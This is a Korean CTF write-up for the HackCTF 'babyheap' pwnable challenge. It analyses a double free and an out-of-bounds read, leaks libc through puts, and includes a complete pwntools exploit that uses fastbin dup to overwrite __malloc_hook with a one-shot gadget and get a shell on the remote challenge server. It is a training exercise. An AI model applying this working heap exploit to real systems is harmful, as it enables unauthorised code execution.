tmxklab
[HackCTF/Pwnable] babyheap 본문
__malloc_hook을 이용한 익스
1. 문제
nc ctf.j0n9hyun.xyz 3030
1) mitigation 확인
2) 문제 확인
3) 코드 흐름 확인
3-1) main()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+8h] [rbp-8h]
int v4; // [rsp+Ch] [rbp-4h]
Init();
while ( 1 )
{
while ( 1 )
{
menu();
v4 = input_number();
if ( v4 != 1 )
break;
Malloc(v3++);
}
if ( v4 == 2 )
{
Free();
}
else
{
if ( v4 != 3 )
exit(0);
Show();
}
}
}
3-2) Malloc()
unsigned __int64 __fastcall Malloc(int a1)
{
int v2; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("size: ");
_isoc99_scanf("%d", &v2);
if ( a1 > 5 )
exit(1);
ptr[a1] = (char *)malloc(v2);
printf("content: ");
read(0, ptr[a1], v2);
return __readfsqword(0x28u) ^ v3;
}
- ptr[a1]에 v2만큼 malloc
- ptr[a1]에 content저장
- 총 6개 Malloc가능
3-3) Free()
unsigned __int64 Free()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index: ");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 5 )
exit(1);
free(ptr[v1]);
return __readfsqword(0x28u) ^ v2;
}
- 인덱스 값(v1)을 선택하여 free(ptr[v1])
- 근데 해당 인덱스 값이 free되었는지 검증하지 않음 → DFB(Double Free Bug)
3-4) Show()
unsigned __int64 Show()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index: ");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 && v1 > 5 )
exit(1);
puts(ptr[v1]);
return __readfsqword(0x28u) ^ v2;
}
- puts()를 통해 ptr[v1]에 저장된 content값 출력
- puts()로 함수 주소 leak할 수 있을 듯
- 근데 여기 조건문이 이상하다. v1이 0보다 작아야 되고 5보다 크다는 2가지의 조건이 모두 만족할 수 가 없다. 따라서, v1이 아무 값이나 넣어도 조건문은 마족하지 않아 exit()가 호출되지 않는다. → oob
2. 접근방법
우선 위에서 알아낸 취약점에는 DFB와 oob가 있다.
DFB를 통해 이전에 hitcon training lab12에서 배웠던 fastbin dup를 사용하도록 하겠다. fastbin dup를 이용하면 원하는 주소에 값을 쓸 수 있다.
참고 :
먼저, libc base주소를 구하기 위해 릭을 해야하는데 위에서 oob가 발생하는 취약점을 이용하도록 하자
1) Show() → leak
- 입력 값 -10을 주었는데 조건 문은 통과되었다.
- puts(0x400738)을 call하기전에 rax*8 + 0x602060 주소에 있는 값을 인자로 주고 있다.
저 과정을 이용하여 특정 함수의 GOT를 넣으면 puts(func@got)가 되고 함수의 주소 값을 출력하게 될 것이다.
여기서 주의할 점이 rax*8 + 0x602060의 값이 GOT가 되면 안된다. 왜냐하면 GOT에 있는 값(함수의 실제 주소 값)을 puts의 인자로 주면 한 번더 참조하여 실제 주소 값에 들어있는 값을 출력하기 때문이다.
- int puts(const char* str)
따라서, rax*8 + 0x602060를 특정 함수의 GOT를 호출하는 주소가 되어야 한다.
- ELF RELA Relocation Table에 함수들의 GOT를 값으로 가진다.
- 0x4005a8 → 0x601fa8 → puts실제 주소 값
- 0x602060 + RAX*8 = 0x4005a8을 만들어주면된다.
이제 한 번 확인해보자
- Show함수에서 인덱스를 "-262999"를 주고 puts가 호출되었다.
- puts의 실제 주소 값이 leak이 되었다.
이후에 FULL RELRO가 걸려있어 GOT Overwrite도 안되고 어떻게 해야할지 몰라서 롸업을 봤다...
2) __malloc_hook
__malloc_hook은 디버깅 변수로 GNU C Library에서 hook이라는 것을 제공하여 malloc, realloc, free와 같이 동적 메모리 할당을 사용할 때 디버깅할 수 있도록 도와준다. (디버깅 용도로 사용되는 함수)
__malloc_hook은 디버깅을 할 수 있도록 설계되어 값의 변경이 가능하며 만일 malloc이 호출되면 libc가 hook이 존재하는지 확인하고 존재하면 해당 hook 버전을 부른다.
void *(*__malloc_hook)(size_t SIZE, const void *CALLER);
void *(*__realloc_hook)(void *PTR, size_t SIZE, const void *CALLER);
void (*__free_hook) (void *PTR, const void *CALLER);
hook은 CALLER라는 인자를 받게 되는데 만약 이곳에 어떤 인자 값을 가지고 있으면 그 값이 수행된다.
따라서, 위에서 leak을 통해 libc base주소를 구하면 __malloc_hook의 주소도 구할 수 있으니 __malloc_hook에 원샷 가젯을 넣어 보자
+) double free bug
fastbin dup를 이용하여 __malloc_hook에 원샷 가젯을 넣었으면 malloc을 수행하면 쉘을 딸 수 있을 것이다. 롸업을 보면서 처음 알게된 사실인데 동일한 청크를 연속으로 free시키게되면 double free bug가 발생하여 malloc 호출된다.
따라서, malloc이 호출되면서 __malloc_hook도 호출된다.
공격 프로세스)
- Show함수에서 발생하는 oob를 통해 puts()의 주소 릭
- libc base주소를 구하여 원샷 가젯과 __malloc_hook의 주소 구하기
- fastbin dup를 이용하여 __malloc_hook에 원샷 가젯 삽입
- 동일한 청크 두 번 free해서 double free bug를 발생
3. 풀이
1) Fake Chunk 구하기
- fake chunk address : malloc_hook - 0x23(0x7f1727ad2aed)
- __malloc_hook address : 0x7f1727ad2b10
- prev_size : 0x0, size : 0x7f 이므로 malloc할 경우 저 chunk를 할당받도록 사이즈를 요청해야 한다.
- fake chunk를 사용할 수 있으면 데이터를 쓸 수 있는 처음 시작 부분은 0x7f1727ad2afd이므로 0x7f1727ad2b10전까지 더미 값으로 채우고 다음 __malloc_hook부분에 원샷 가젯을 넣어야 한다. → 더미 0x13bytes
2) 원샷 가젯 확인
3) 익스 코드
from pwn import *
context.log_level = "debug"
#p = process("./babyheap")
p = remote("ctf.j0n9hyun.xyz", 3030)
e = ELF("./babyheap")
libc = ELF("/home/cmc/Desktop/lib_hack/babyheap/libc.so.6")
puts_offset = libc.symbols['puts']
malloc_hook_offset = libc.symbols['__malloc_hook']
#one_gadget_offset = 0x45216
#one_gadget_offset = 0x4526a
one_gadget_offset = 0xf02a4
#one_gadget_offset = 0xf1147
log.info("puts offset : "+hex(puts_offset))
log.info("one gadget offset : "+hex(one_gadget_offset))
log.info("malloc hook offset : "+hex(malloc_hook_offset))
#gdb.attach(p, """b*0x400b02""")
def Malloc(size, content):
p.sendlineafter("> ", str(1))
p.sendlineafter(": ", str(size))
p.sendlineafter(": ", content)
def Free(idx):
p.sendlineafter("> ", str(2))
p.sendlineafter(": ", str(idx))
def Show(idx):
p.sendlineafter("> ", str(3))
p.sendlineafter(": ", str(idx))
# 1. puts() leak
Show(-262999)
puts_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = puts_addr - puts_offset
malloc_hook_addr = libc_base + malloc_hook_offset
one_gadget_addr = libc_base + one_gadget_offset
log.info("libc base : "+hex(libc_base))
log.info("puts addr : "+hex(puts_addr))
log.info("malloc hook addr : "+hex(malloc_hook_addr))
log.info("one gadget addr : "+hex(one_gadget_addr))
# 2. fastbin dup
Malloc(100, "A")
Malloc(100, "B")
Free(0)
Free(1)
Free(0)
Malloc(100, p64(malloc_hook_addr-0x23))
Malloc(100, "AAAA")
Malloc(100, "BBBB")
Malloc(100, "A"*0x13+p64(one_gadget_addr))
# 3. Double Free Bug
Free(2)
Free(2)
p.interactive()
- 원격에서 실행할 때 원샷 가젯 주소 중에 0xf02a4빼고 다른거는 안된다.;;
4) 실행 결과
4. 몰랐던 개념
1) malloc_hook 관련
- https://man7.org/linux/man-pages/man3/malloc_hook.3.html
- https://pwnwiz.tistory.com/193
- https://blog.kimtae.xyz/255
- https://wogh8732.tistory.com/166
- https://lclang.tistory.com/165
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] babyfsb (0) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] j0n9hyun's secret (0) | 2020.08.15 |
[HackCTF/Pwnable] Unexploitable #2 (0) | 2020.08.15 |
[HackCTF/Pwnable] 풍수지리설 (0) | 2020.08.15 |
[HackCTF/Pwnable] World Best Encryption Tool (0) | 2020.08.15 |